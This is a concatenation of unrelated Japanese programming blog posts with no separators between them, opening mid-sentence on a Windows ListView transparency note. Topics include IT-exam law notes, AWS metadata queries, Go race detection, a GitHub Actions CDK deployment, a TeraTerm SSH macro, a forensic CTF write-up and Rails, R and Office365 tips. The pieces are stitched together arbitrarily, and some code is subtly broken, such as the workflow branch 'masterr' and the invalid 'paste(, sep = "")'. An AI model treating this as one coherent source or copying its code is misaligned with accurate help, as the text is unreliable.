hbm の[アルファチャンネル](https://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%AB%E3%83%95%E3%82%A1%E3%83%81%E3%83%A3%E3%83%B3%E3%83%8D%E3%83%AB) 

*※Windows 10の場合は LVBKIF_FLAG_ALPHABLEND を指定しない場合は hbm に通常のアルファのデータを使うと、透明に対応している様に見えるが、透過が微妙に違うことが判明*
*※Windows 7の場合はLVBKIF_FLAG_ALPHABLEND を指定しないでhbm に通常のアルファのデータを使うと、透明部分が白くなった*
**Windows XP は LVBKIF_TYPE_WATERMARK は動作しない**
基本情報技術者　ストラテジ系　第2章 経営戦略⑦



# その他の法規と標準化

## 不正アクセス禁止法
パスワードの無断流用など、不正な手段でアクセスすること

## 個人情報保護法
目的の明示と、漏洩の安全管理措置をする。

## サイバーセキュリティ法
公共、関連業者、教育期間など
責務を定めています。

### 国民に対して
努力することを定めている。

## 製造物責任法 (PL法)
ソフトウェア単体では責任に問われない。

組み込んで欠陥から発生した場合は責任を問われる。


## 標準化を行う団体

* ISO: 産業分野の国際標準
* IEEE: LANなどの規格
* W3C: HTMLなどの規格
* JISC: 日本工業規格

### ISO.JISについて

* ISO 9001: 品質マネジメントの要求事項
* ISO 14001: 環境マネジメントの要求事項
* ISO 15408: セキュリティ技術の評価基準
* ISO 27001: 情報セキュリティシステム(ISMS)の要求事項
* JIS Q 15001: 個人情報保護マネジメントの要求事項
【AWS】インスタンスメタデータ取得コマンド（備忘）

・EC2インスタンス上でインスタンスメタデータを取得するコマンド

インスタンスメタデータって？
・EC2インスタンスに埋め込まれている自分の情報のこと。
・下記情報で取得出来るデータはなるべく直書きしないようにしよう。

```
$ curl http://169.254.169.254/latest/meta-data/
```
```
$ curl http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
```
ビューファイルを編集してカラムのデータを表示の仕方

テーブルをposts、カラムをtextとした場合

```app/views/posts/index.html.erb
<% @posts.each do |post| %>
  <%= post.text %>
<% end %>
```
となる
これをするとtextのカラムの指定をしてtextのデータだけ持って来てくれる
これをやらないと複数のデータを一度に表示しようとしたためにエラーが出る
仮想ブリッジの作成方法

```
[root@localhost ~]# cat /etc/redhat-release
CentOS Linux release 7.1.1503 (Core)

[root@localhost ~]# rpm -ivh openvswitch-2.11.0-3.el7.x86_64.rpm
準備しています...              ################################# [100%]
更新中 / インストール中...
   1:openvswitch-1:2.11.0-3.el7       ################################# [100%]
[root@localhost ~]#
[root@localhost ~]# systemctl start openvswitch
[root@localhost ~]# systemctl status openvswitch
● openvswitch.service - Open vSwitch
   Loaded: loaded (/usr/lib/systemd/system/openvswitch.service; disabled; vendor preset: disabled)
   Active: active (exited) since 水 2020-02-26 22:19:37 JST; 4s ago
  Process: 2347 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
 Main PID: 2347 (code=exited, status=0/SUCCESS)

 2月 26 22:19:37 localhost.localdomain systemd[1]: Starting Open vSwitch...
 2月 26 22:19:37 localhost.localdomain systemd[1]: Started Open vSwitch.
[root@localhost ~]# 
[root@localhost ~]#  ovs-vsctl add-br ovs1
[root@localhost ~]#
[root@localhost ~]#  ovs-vsctl add-port ovs1 enp0s3
# ovs-vsctl show
[root@localhost ~]# ovs-vsctl show
0392cade-478d-4802-a4a3-190227e098d4
    Bridge "ovs1"
        Port "ovs1"
            Interface "ovs1"
                type: internal
        Port "enp0s3"
            Interface "enp0s3"
    ovs_version: "2.11.0"

```

https://cbs.centos.org/koji/buildinfo?buildID=25447
基本情報技術者　ストラテジ系　第2章 経営戦略⑥


# ⑥労働関連の法規

## 業務契約の形態

### 労働者派遣

### 請負

### 業務委託

## 労働者派遣法

### 派遣元の責任
就業条件、労働環境など監督する。

### 派遣先の責任
派遣元への報告や、製造物の責任を持つ

### 紹介予定派遣
派遣先に直接雇用されることを前提とする。


## 派遣における留意点

### 二重派遣の禁止

### 派遣労働者の雇用制限の禁止
派遣先への勧誘など、却下しないなど

## 労働基準法
労働条件の最低限の基準をまとめたもの
GoでRace Conditionを発見する

goroutine を使う選択をしたときに、あなたはRace Conditionに注意しなければならない。

# countを5000回加算するコード（直列処理)

```main.go

package main

import (
	"fmt"
)

func main() {
	var count int

	for i := 0; i < 5000; i++ {
		count++
	}

	fmt.Printf("count: %d\n", count)
}
```

## 結果

```
$ go run ./main.go
count: 5000
```

# 愚直に並行処理にする

この変更はRace Conditionを引き起こし問題になる

```diff

 import (
 	"fmt"
+	"sync"
 )
 
 func main() {
 	var count int
 
+	var wg sync.WaitGroup
 	for i := 0; i < 5000; i++ {
-		count++
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			count++
+		}()
 	}
+	wg.Wait()
 
 	fmt.Printf("count: %d\n", count)
 }
```

# Bad: countを5000回加算するコード（並行処理）

これではいけない

```go

package main

import (
	"fmt"
	"sync"
)

func main() {
	var count int

	var wg sync.WaitGroup
	for i := 0; i < 5000; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()
			count++
		}()
	}
	wg.Wait()

	fmt.Printf("count: %d\n", count)
}
```

## 結果

5000よりも少なくなる。 それぞれの goroutine が count を読んだタイミングが異なるため。

```
$ go run ./main.go     
count: 4354
```

# Race Conditionを発見する `-race` オプション

`go run -race main.go` のように `-race` オプションを付けるとRace Conditionを検出できる。このオプションは、 `go test` や `go build` でも有効。

`-race` をつければRace Conditionを検出し、レポートを出力することができるが、メモリ使用量が増したり、実行時間が増えたりするので注意が必要。ベンチマークテストや負荷試験をするときに、CIで回すことが推奨される。

次のようにどこで Race Condition が起きたかレポートしてくれる。

```
$ go run -race main.go
==================
WARNING: DATA RACE
Read at 0x00c0000ac008 by goroutine 8:
  main.main.func1()
      /Users/hogehoge/workspace/go-test/main.go:16 +0x6c

Previous write at 0x00c0000ac008 by goroutine 7:
  main.main.func1()
      /Users/hogehoge/workspace/go-test/main.go:16 +0x82

Goroutine 8 (running) created at:
  main.main()
      /Users/hogehoge/workspace/go-test/main.go:14 +0xe7

Goroutine 7 (finished) created at:
  main.main()
      /Users/hogehoge/workspace/go-test/main.go:14 +0xe7
==================
count: 5000
Found 1 data race(s)
exit status 66
```


# 排他制御を導入してRace Conditionが起こらないように変更する

```diff
 func main() {
 	var count int
+	var mu sync.Mutex
 
 	var wg sync.WaitGroup
 	for i := 0; i < 5000; i++ {
 		wg.Add(1)
 		go func() {
 			defer wg.Done()
+			mu.Lock()
+			defer mu.Unlock()
 			count++
 		}()
 	}
```

# Good: countを5000回加算するコード(並行処理)

```main.go
package main

import (
	"fmt"
	"sync"
)

func main() {
	var count int
	var mu sync.Mutex

	var wg sync.WaitGroup
	for i := 0; i < 5000; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()
			mu.Lock()
			defer mu.Unlock()
			count++
		}()
	}
	wg.Wait()

	fmt.Printf("count: %d\n", count)
}
```

## 結果

```
$ go run ./main5.go
count: 5000
```


# 参考資料

* [Data Race Detector](https://golang.org/doc/articles/race_detector.html)
* [A Tour of Go の sync.Mutexの例をMutex使わないとどうなるか](https://qiita.com/jun68ykt/items/cc462145b10cee1341bc)
* [sync.Mutex](https://go-tour-jp.appspot.com/concurrency/9)
* [GolangでMutexを使いRace Conditionを回避する](https://dokupe.hatenablog.com/entry/20190328/1553735302)
* [Go Panic でパニック](https://qiita.com/ytanaka3/items/5ffc8f29434686e24d09)
seabornのpairplotで下半分（上半分）だけ表示する

<https://tutorialmore.com/questions-1150768.htm>にやり方があったのでメモ。


```python
import seaborn as sns
import matplotlib.pyplot as plt


def hide_current_axis(*args, **kwds):
    plt.gca().set_visible(False)

# データフレーム準備
X = sns.load_dataset("iris")

# ペアプロット
pg = sns.pairplot(X)

# 上のグラフを消す＝下三角部分を表示
pg.map_upper(hide_current_axis)

# 下のグラフを消す＝上三角部分を表示
# pg.map_lower(hide_current_axis)

# 対角部分を消す
# pg.map_diag(hide_current_axis)
```

<img width="731" alt="スクリーンショット 2020-02-26 22.45.00.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/211712/c75b56fa-cc6f-c877-d077-535594f3436c.png">


もしくはpairgridで好きな位置に好きなグラフを配置する。

```python
from itertools import groupby
import seaborn as sns
import matplotlib.pyplot as plt


def hide_current_axis(*args, **kwds):
    plt.gca().set_visible(False)

    
def stackedhist(data, stackby, **kwds):
    groups = groupby(zip(stackby, data), lambda x: x[0])
    grouped_data = [[v for _, v in items] for key, items in groups]
    plt.hist(grouped_data, stacked=True, edgecolor='none')

    
# データフレーム準備
X = sns.load_dataset("iris")
    
g = sns.PairGrid(X, diag_sharey=False)
g.map_lower(sns.scatterplot, data=X, hue='species', alpha=0.3, edgecolor='none')
g.map_diag(stackedhist, stackby=X['species'])
g.map_upper(hide_current_axis)
```

<img width="731" alt="スクリーンショット 2020-02-26 22.47.16.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/211712/b9667121-14f1-f0b6-7221-1484744dd00a.png">
自分のためのAlexaテンプレートをAWS CDKとGitHub Actionsを使って公開した

# はじめに
[これ](https://qiita.com/ufoo68/items/1a4913817eab4ca15e8d)の続きです。自作したAlexa用のテンプレートをS3バケットを使って公開しました。

# やったこと
以下のようなテンプレートファイルをS3にデプロイするだけですが、

```json
{
    "Hello TS": {
        "gitUrl": "https://github.com/ufoo68/alexa-hello-ts.git"
    }
}
```

ただ単純にAWSのコンソールを触ってやるだけでは面白くなかったので以下のようなことをしてみました。

- [AWS CDK](https://aws.amazon.com/jp/cdk/)を使ってS3の設定とテンプレートファイルを構成
- [GitHub Actions](https://github.co.jp/features/actions)を使ってmasterブランチへのプッシュとマージのときに自動デプロイ

GitHub Actionsを使ってAWS CDKでデプロイを行うためのスクリプトは[こちら](https://dev.classmethod.jp/cloud/aws/cdk-github-actions/)の記事を参考にしました。

# Actionを定義

基本は参考記事のyamlがベースですが、他のブランチからmasterにマージしたときも同様にデプロイを行ってほしかったので以下のようにスクリプトを書きました。

```yaml:.github/workflows/cdk.yml
name: cdk
 
on:
  push:
    branches:
      - masterr
  pull_request:
    types: [closed]
    branches:
      - master
jobs:
  aws_cdk:
    runs-on: ubuntu-18.04
    steps:
      - name: Checkout
        uses: actions/checkout@v1
 
      - name: Setup Node
        uses: actions/setup-node@v1
        with:
          node-version: '12.x'
 
      - name: Setup dependencies
        run: yarn
 
      - name: Build
        run: yarn build
 
      - name: CDK Deploy
        if: contains(github.event_name, 'push') || github.event.pull_request.merged == true
        run: yarn cdk:deploy
        env:
          AWS_DEFAULT_REGION: 'ap-northeast-1'
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
```

これで、masterへの直接プッシュ時はもちろん、pull-requestがCloseして尚且マージされた状態のときだけ`CDK Deploy`が走ります。

# S3の構成
構成というほど大したものはないですが、単純にファイルをデプロイして公開するといった設定内容でCDKのスクリプトを記述しました。

```typescript:lib/ask-templates-stack.ts
import * as cdk from '@aws-cdk/core'
import * as s3 from '@aws-cdk/aws-s3'
import * as iam from '@aws-cdk/aws-iam'
import * as s3deploy from '@aws-cdk/aws-s3-deployment'

export class AskTemplatesStack extends cdk.Stack {
  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {
    super(scope, id, props)

    const bucket = new s3.Bucket(this, 'Bucket', {
      publicReadAccess: true,
      removalPolicy: cdk.RemovalPolicy.DESTROY,
    })

    bucket.addToResourcePolicy(new iam.PolicyStatement({
      actions: ['s3:GetObject'],
      resources: [`${bucket.bucketArn}/*`],
      principals: [new iam.AccountRootPrincipal()],
    }))

    new s3deploy.BucketDeployment(this, 'Deploy', {
      sources: [s3deploy.Source.asset('./assets')],
      destinationBucket: bucket,
    })
  }
}
```

# さいごに
今回つくったソースコード一式は[ここのGitHub](https://github.com/ufoo68/ask-templates)で公開しています。一応`README`にも記載していますが、こちらのレポジトリをフォークして自分のテンプレートをjsonに書いたものをプルリクしてくれたら私の方でマージして一緒にデプロイすることが可能です。
どうせ大してアクセスも集中することはないと思いますので、しばらくこのS3にデプロイしたテンプレートを公開しておきます。もし**自分のテンプレートをお持ちで尚且、S3にデプロイするのが面倒だ**と思っている方は是非ご活用下さい。
【TeraTermマクロ】公開鍵認証のSSH自動ログイン（備忘）

```sh

username = 'ec2-user'
hostname = 'aaa.bbb.ccc.ddd'
key_file = 'id_rsa' ← 秘密鍵ファイルを指定
passwdfile = 'passwd.dat'
portnum = '22'

getpassword passwdfile username userpasswd ← パスフレーズを暗号化ファイルとして保存

msg = hostname
strconcat msg ':portnum /ssh /auth=publickey /user=' ← 公開鍵認証を指定
strconcat msg username
strconcat msg ' /passwd='
strconcat msg userpasswd
strconcat msg ' /keyfile=' 
strconcat msg key_file
strconcat msg inputstr

connect msg
```

>引用元
>https://webkaru.net/linux/tera-term-macro-key-login/
基本情報技術者　ストラテジ系　第2章 経営戦略⑤


# ⑤知的財産権

## 著作権

創作された瞬間から発生
個人の場合死後70年間
組織の場合、公表後70年間

プログラム、データベースは保護され
プロトコル、アルゴリズムは保護されない

### 著作財産権
他人譲渡可能

・複製権
・公衆送信権(ネットなど)

### 著作人格権
他人譲渡不可

・公表権
・氏名保護権
・同一性保持権


## 著作権の帰属

帰属の基準として
・複数人関わってるなら全員に。
・会社の指示なら直接指示した会社に帰属する。


## ネットでの著作権問題

### 侵害行為
著作物(HP含む)などの画像データ、音声などを
転載、アップロードすること

### 非侵害行為
・リンクを埋め込む
・公共団体の統計データの引用など

## 商業財産権

* 特許権: 発明など
* 実用新案件: 考案など、発明ほどではない
* 意匠権: 工業デザイン
* 商標権: 商品やロゴなど

## 不正競争防止法
下記のような内容だと抵触します。

* 機密の売買
* コピー、類似品の無断販売
* ハッキングツールなど違法機器、違法ソフトウェアの提供

### 営業機密

* 秘密として管理されている
* 事業活動に有用
* 公然と知らされていない
Ruby/GTK3 - SpinButton

`gem install gtk3`

# SpinButton

Gtk.SpinButtonでは2つの矢印のいずれかをクリックして、表示されている値を増減する。直接値を入力することもできる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/144608/6bd8701d-431d-af43-cea7-8eaf93f1efb7.png)


```ruby
require 'gtk3'

class SpinButtonWindow < Gtk::Window

  attr_accessor :spinbutton

  def initialize
    super
    set_title "SpinButton Demo"
    set_border_width 10

    hbox = Gtk::Box.new(:horizontal, 10)
    add hbox

    adjustment = Gtk::Adjustment.new(0, 0, 100, 1, 10, 0)
    @spinbutton = Gtk::SpinButton.new(adjustment)
    hbox.pack_start(spinbutton)

    check_numeric = Gtk::CheckButton.new("Numeric")
    check_numeric.signal_connect("toggled"){|b| on_numeric_toggled b}
    hbox.pack_start(check_numeric)

    check_ifvalid = Gtk::CheckButton.new("If Valid")
    check_ifvalid.signal_connect("toggled"){|b| on_ifvalid_toggled b}
    hbox.pack_start(check_ifvalid)
  end

  def on_numeric_toggled(button)
    spinbutton.set_numeric(button.active?)
  end

  def on_ifvalid_toggled(button)
    policy = if button.active?
               Gtk::SpinButtonUpdatePolicy::IF_VALID
             else
               Gtk::SpinButtonUpdatePolicy::ALWAYS
             end
    spinbutton.set_update_policy(policy)

  end
end

win = SpinButtonWindow.new
win.signal_connect("destroy"){ Gtk.main_quit }
win.show_all
Gtk.main
```

* [Python version](https://python-gtk-3-tutorial.readthedocs.io/en/latest/button_widgets.html#id4)
【Python】DICOMからPNGやCSVに変換

#はじめに
AIを作成するために、MRI画像をDICOM形式からPNG形式あるいはCSV形式に変換する必要があった。
件数は1700件ほど。
有名なものとしては[DICOM Cenverter](http://dicomapps.com/dicom-converter/index.html)があるが、大量のDICOMをInputすると固まってしまう。
(199.99$で買わなきゃいけないのか？？)
そこで、pythonを使ってDICOMからPNG形式あるいはCSV形式に変換するコードを作成した。

コードと解説は、[こちら](https://www.aiprogrammers.net/entry/2020/03/09/140652)に記載しました。
[【Python】DICOMからPNGやCSVに変換](https://www.aiprogrammers.net/entry/2020/03/09/140652)
仙台CTF 2019 Opw9.シークレット 300

#問題

http://ctf.sectanlab.jp/2019/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/e8da84b2-e109-b620-b601-8fae4e258c55.png)

#解いてみた

オープンワールド自体に謎があるようです。
ソースを見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/009b209e-bc48-c269-34f2-1921dc25c197.png)

「USBが落ちていた！」っていうのはまだアクセスしてないのでアクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/59102c22-15ab-4b2a-744b-86fae6cd6d1a.png)

おおシークレット問題！

zipファイルを解凍します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/ea41bb65-6bd9-5c53-34fa-2ee50cf31a5f.png)

イメージファイルでした。
FTK Imagerで中身を見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/d2b194c9-36aa-82c1-dc0f-1c6b81d5ac63.png)

見た感じ何もファイルがありません。

ん？FAT12？？？
んー初めて見ました。
何か仕様が違うんでしょうか。

とりあえず、Unallocated Space見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/78327493-d52c-1f7a-b654-fca8ae0f9e39.png)

ひとつファイルがあります。
先頭がpngなので画像でしょうか。ファイルをダウンロードして開いてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/3646e2bd-c641-60c2-714e-e141bfddaf01.png)

青葉城本丸会館について調べていたようです。
が、それ以上何もわからず。

問題の解答例が「ryoma-sakamoto」なので　なるほどこの城に関係ある歴史上人物かと思って調べてみたら築城主が伊達政宗ということがわかった。
「masamune-date」かなと思ったらさすがに違った。
「date-masamune」も違った。

少し早いですが、万策尽きました。
Autopsy使ってみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/dc55d16d-d057-6891-5c1c-2be3435580d9.png)

ファイルが3つ見つかりました。
まずはpngから。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/ec62037e-a020-51a2-8b7e-08732eea45e3.png)

これはさっき見つけた画像と一緒です。

次はdocx。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/b3f8389d-2302-53cf-2473-f95094d3450f.png)

母の名前が久子ってことはわかりましたが、本人の名前は書いてません。
んー。

次はxlsx。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/6c5f1a20-f374-73d7-b563-602de4b80e75.png)

詰将棋の本買ってるから将棋が好きなのかな？ってくらいしか。。。

wordとexcelのプロパティを見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/8427ecbd-3ac7-f094-46c2-2bc221767844.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/1684dba0-b0f0-79ca-f557-b998bccd85ae.png)

どっちも作成者は空欄です。
wordとexcelはどっちもzipファイルなので解凍してxml見てみますか。

wordから。

作成者の欄を見てみます。

```
\f0000192\docProps\core.xml
```

を見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/49a06422-3d43-179d-3c49-27a7c0c20552.png)

creatorが作成者
lastModifiedByが最終更新者
ですが、どちらも空欄でした。まぁここに記録されていればプロパティで表示されるということか。

excelも一応見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/be961086-7d3b-6957-5053-bc3c61aa2cb1.png)

どちらもダメですね。

なんとなしに保存されているファイルのパスとかがどこかに書かれていないかなと思って「c:\」で検索してみると

```
\f0000192\word\document.xml
```

に


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17681/7ed6e10d-52a6-0991-c4c2-9c6ac65d2144.png)

というパスが！
これが答えですね。
Office365のテナント間共有＜予定表共有＞

#はじめに
Office365のテナント間コラボレーションについて調べたので項目ごとに少しずつまとめたいと思います。
サービス管理者とグローバル閲覧者の権限しか持ってない人間が書くので間違っている部分もあるかもしれませんが、その場合はご指摘ください。

テナントAからテナントBを招待して、テナントAの環境を利用してもらうときに、それぞれのサービスでどのような設定をして共有ができるようになるのかをまとめます。
今回は**予定表共有**について記載します。


##シナリオ
以下４つのシナリオが考えられますが、今回は最も一般的であろう１について記載します。([参考リンク](https://docs.microsoft.com/ja-jp/exchange/sharing/sharing?redirectedfrom=MSDN))
**1. 別のOffice365テナントと共有**
2. 社内のオンプレExchangeサーバーに共有
3. テナント外の一般ユーザーに共有
4. 社内のオンプレExchangeサーバーに所属するユーザーと共有

##概要
- Exchange Onlineからポリシーを設定します
- 対象のテナントと「**Organization relationships（組織上の関係）**」を設定します
- 組織上の関係では対象のテナントの**ドメインの登録**を実施します
- 空き時間情報の**共有レベル**を選びます
- ポリシーの**適用範囲**を選びます

##手順([参考リンク](https://docs.microsoft.com/ja-jp/exchange/sharing/organization-relationships/create-an-organization-relationship))
1. Exchange管理センターを開きます

2. 「組織」＞「共有」に移動します

3. 「組織上の関係の作成」の「関係のフレンドリ名」ボックスに任意の名称を入力します

4. 「共有するドメイン」ボックスに対象の組織のドメインを入力します（複数ドメインの登録可）

5. 「予定表の空き時間情報の共有を有効にする」にチェックを入れます

6. 空き時間情報の共有レベルを３レベルから選択します([参考リンク](https://docs.microsoft.com/ja-jp/exchange/sharing/organization-relationships/organization-relationships))
    
    ・ アクセス許可なし(None)
    ・ 空き時間情報のみ(Availability Only)
    ・ 空き時間情報、件名、場所(Limited Details)

7. 共有ポリシーを付与する対象を３パターンから選択します([参考リンク](https://docs.microsoft.com/ja-jp/exchange/sharing/sharing-policies/sharing-policies))

    ・ テナント全体
    ・ セキュリティグループ（「参照」を押すことにより、一覧から選択）
    ・ 個人MB(powershellから）
8. 「保存」して終了です

##参考サイト
⭐︎1. [Exchange Online での共有](https://docs.microsoft.com/ja-jp/exchange/sharing/sharing?redirectedfrom=MSDN)
⭐︎2 [Exchange Online で組織の関係を作成する](https://docs.microsoft.com/ja-jp/exchange/sharing/organization-relationships/create-an-organization-relationship)
⭐︎3 [Exchange Online での組織の関係](https://docs.microsoft.com/ja-jp/exchange/sharing/organization-relationships/organization-relationships)
⭐︎4 [Exchange Online での共有ポリシー](https://docs.microsoft.com/ja-jp/exchange/sharing/sharing-policies/sharing-policies)

#投稿予定
- [ ] AzureAD
- [ ] SharePointサイトとドキュメント
- [ ] Office365グループ招待
- [x] 予定表共有
- [ ] Teamsゲスト招待
- [ ] Skypeチャット
Microsoft Teams 無料アカウントで「ゲスト」ユーザが削除できなくなった場合の解決策

Microsoft Teams の無料版は個人事業主や中小企業では金銭的負担が小さくメンバーの連絡のやり取りに使えるので重宝しますが、有料版に比べて基本的にマイクロソフト社のサポートはなくトラブルは自分で解決する必要がある上に、様々な機能制限のために運用に支障が生じることがあります。

今回は一旦「ゲスト」として登録してしまったアカウントが消せなくなったために同じメールアドレスを「ユーザー」として登録できなくなってしまったときの解決策を記録しておきます。

#通常のTeams無料版のインターフェイスからは一旦登録した「メンバー」が削除できない

Teams無料版では一旦「ゲスト」として作成してしまったアカウントを「ユーザー」に変更するのはかなりの苦労を伴います。一旦そのアカウントを削除して再登録しようとしても、そのアカウントはすでに登録されているという旨の表示が出て「ゲスト」としてしか再登録できません。

そこで、Azure Active Directoryにサインインしてデータベースに登録されているアカウントを直接削除してから「ユーザー」として再登録するという方法があるようです。

**Azure Active Directory**
https://azure.microsoft.com/ja-jp/services/active-directory/

##Azure Active Directoryにログインしてみる

<img width="1155" alt="2020-02-26 22.16.25.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593070/df36f5ed-e418-33c3-44fe-aab10a7fa33e.png">

初めて見る画面です。見慣れない項目がたくさん並んでいます。この手のデータベースは下手にいじってデータを壊してしまうとTeamsへのログインそのものができなくなる可能性もあるので、必要な項目以外には触れないようにします。

##Azure Active Directoryで使用しなくなったメンバーを削除して再登録する

触れるのは左側のナビゲーションにある「管理」のうちの「ユーザー」だけです。ここをクリックすると今までに作成したメンバーがすべて表示されています。アカウントの種別はゲストであれば「Guest」、メンバーであれば「Member」と表示されているはずです。

Teams無料版で削除したはずのアカウントもAzure上では生き残っており、これが残っているせいで一旦削除した「ゲスト」を「ユーザー」で再登録しようとしてもすでにそのメンバーは存在すると叱られてしまったんですね。

そこで、間違えて作ってしまったメンバーをAzure Active Directory上で一旦削除してから、Teams無料版で再び登録しなおせばよいというわけです。ちなみに、Teamsはメンバーなどをキャッシュしているらしく、一旦削除したメンバーもしばらくは表示が残っていたりします。一旦サインアウトしてキャッシュを消してから再度サインインするなどして、操作に間違いがないように気をつけてください。
Rのpaste()（paste0()）

###### tags: `rBasicLearning`
# paste()
## 1. paste()とは
paste()とは, ()の中の要素を文字型に変えて, 繋げて出力する関数です. 
### 1-1. 具体例
```r
paste("a", "b", 3)
```
```r
> paste("a", "b", 3)
[1] "a b 3"
```
平均を "mean : 4.6" のように出したい時には以下のように使える.

```r
data <- c(1, 2, 4, 7, 9)

meanData <- mean(data)
paste("mean :", meanData)
```
```r
> paste("mean :", meanData)
[1] "mean : 4.6"
```
## 2. paste(sep="")
sep=""は, `","` で区切っている間を`" "` で区切って出力するのではなく, その他の方法で区切ることを指定する.
### 2-1. 具体例
```r
paste("a", "b", 3)
paste("a", "b", 3, sep = "-")
```
```r
> paste("a", "b", 3)
[1] "a b 3"
> paste("a", "b", 3, sep = "-")
[1] "a-b-3"
```
## 3. paste()とpaste0()の違い
paste0()は, `","` で区切っている間を`区切りなし`で出力する関数.
### 3-1. 具体例
```r
paste("a", "b", 3)
paste0("a", "b", 3)
```
```r
> paste("a", "b", 3)
[1] "a b 3"
> paste0("a", "b", 3)
[1] "ab3"
```
## 参考. paste0()をpaste()を用いて表す
paste0()の役割をpaste()で表すと, 以下のようになる.

```r
paste(, sep = "")
paste0()
```
### 具体例
```r
paste("a", "b", 3, sep = "")
paste0("a", "b", 3)
```
```r
> paste("a", "b", 3, sep = "")
[1] "ab3"
> paste0("a", "b", 3)
[1] "ab3"
```
ActiveRecord クラスとは、データをコントローラーで取得

テーブルから情報を取得するために必要なメソッドを兼ね備えたクラス

| メソッド | 用途 |
|:-----|:-----|
| all | テーブルの全てのデータを取得する |
| find | テーブルのレコードの内、ある1つのデータを取得する |
| new | クラスのインスタンス（レコード）を生成する |
| save | クラスのインスタンス（レコード）を保存する |
などがある
データをコントローラーで取得、ビューファイルでテーブルの単一データ表示の場合、、、テーブル名がposts（モデルはpost）として

```app/controllers/posts_controller.rb
def index
   @post = Post.find(1)  # 1番目のレコードを@postに代入
end
```
となる
全てのデータを取得できるようにするには

```app/controllers/posts_controller.rb
def index
   @posts = Post.all  # 全てのレコードを@postsに代入
end
```
となる
module名は、頭文字大文字、単語の境界に「アンダーバー」無しで、ファイル名は、頭文字小文字、単語の境界に「アンダーバー」有りという命名規則があるためこの命名規則に従っていないと、適切に読み込めない
名称	　　　　　　例
コントローラ名	posts
コントローラクラス名	PostsController
ファイル名	posts_controller.rb
固定電話IP網移行

2017年10月17日
固定電話のIP網への移行後のサービス及び移行スケジュールについて
https://www.ntt-east.co.jp/release/detail/__icsFiles/afieldfile/2017/10/17/20171017_01_1.pdf


# ISDNの終わり方に「3択」あり、あなたはどれを選ぶ？
https://www.atmarkit.co.jp/ait/articles/2002/25/news012.html?utm_source=dlvr.it&utm_medium=facebook

記事の疑問点を記録する。

### 「何もしない」

>デメリットはISDNの月額3530円（税別、以下同じ）という高額な基本料金を払い続けねばならないことである。

NTT-east資料 p.6
> 基本料 市場環境が著しく変化しない限り、現在の加入電話・INSネットの基本料と同額

市場環境は著しく変化しており、この前提は成り立たないかもしれない。
料金は、それなりの変更をしないと、他社のサービスに変更される可能性がある。

NTT-east資料 p.9 
>提供終了時期までにISDN対応端末の更改が間に合わないお客様への当面の対応策として、切替後 のINSネット上のデータ通信(「補完策」)を提供します。
現行の「INSネット ディジタル通信モード」とは品質が異なるため、利用する機器によっては処理時間が増加する場合があります。

何もしないことへの対応は、補完策として提供するもので、処理時間が増加する可能性を示唆している。処理時間が増加してから対応するのではまずい業務では、この選択肢はない。

# ひかり電話へ移行
>　せっかく移行の手間をかけるのであれば、同時にIPv4で使っていたデータ通信をIPv6に移行するとよい。

根拠として

>キャリアVPNとの接続にPPPoE（Point to Point Protocol over Ethernet）を使うIPv4からIPoE（IP over Ethernet）を使うIPv6に変更することで、Windows Updateなどによるフレッツ網の輻輳（ふくそう）の影響を軽減できるからだ（関連記事）

これは、今、IPv4が混んでいてIPv6が空いているということを言っている。逆に、IPv6設定が増えて、IPv4設定が減ったら逆の現象が怒らないかどうかを定量的に述べていない。

機器類の価格と処理時間を比較して検討するとよい。
IPv6の機器が安価だったり、処理時間が短ければ、Ipv6が増えても、混んでも対応する可能性は高い。IPv6の機器が高価だったり、処理時間が長ければ、混んでも対応には時間的な遅れが生じるかもしれない。

#非固定電話への移行

無料部分には記述がない。

選択肢としては理解できる。残念なのは、非固定電話に移行しても、電話加入権を売却したり、返金してもらう道が見当たらないことかもしれない。


#用語
PSTN: Public Switched Telephone Network
ISDN: Integrated Services Digital Network
INS: Information Network System
IP: internet protocol
ADSL: Asymmetric Digital Subscriber Line
EDI: Electronic Data Interchange

#参考資料
2024年でISDNが終わる！？その影響とは！
https://www.denet.ad.jp/technology/2018/01/2024isdn.html


ISDN（INS）とは｜ISDNの歴史と終了の背景を解説｜トラムシステム
https://www.tramsystem.jp/voice/voice-2065/

ISDN終了で受発注に多大な影響が！2024年問題に今から準備を
